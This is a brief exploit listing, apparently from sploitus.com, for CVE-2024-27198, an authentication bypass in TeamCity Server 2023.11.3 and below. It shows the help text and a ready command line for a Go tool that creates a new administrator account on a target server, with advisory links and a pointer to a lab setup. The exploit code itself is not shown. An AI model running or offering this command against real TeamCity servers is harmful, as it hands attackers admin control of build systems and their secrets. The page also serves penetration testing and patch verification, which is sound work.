Share
## https://sploitus.com/exploit?id=9442AAAD-D617-53C5-8567-41CE5A122C97
## CVE-2024-27198

### Auth bypass for TeamCity Server version 2023.11.3 and below.

![image](https://github.com/rampantspark/CVE-2024-27198/assets/80992075/1b6dceb9-d0fa-46af-8667-d68f425fa29f)


**NIST:** https://nvd.nist.gov/vuln/detail/CVE-2024-27198

**Rapid7 blog post:** https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

### Example Usage

```
go run CVE-2024-27198.go -h
  -s string
    	TeamCity Server
  -p string
    	New admin password
  -u string
    	New admin username
  -proxy
        Proxy URL (optional)
```

```
go run CVE-2024-27198.go -s http://IP_OR_FQDN:PORT -u new_admin_username -p new_admin_password -proxy http://IP_OR_FQDN:PORT
```


*Please Refer to https://github.com/yoryio/CVE-2024-27198 for instructions on setting up a lab environment.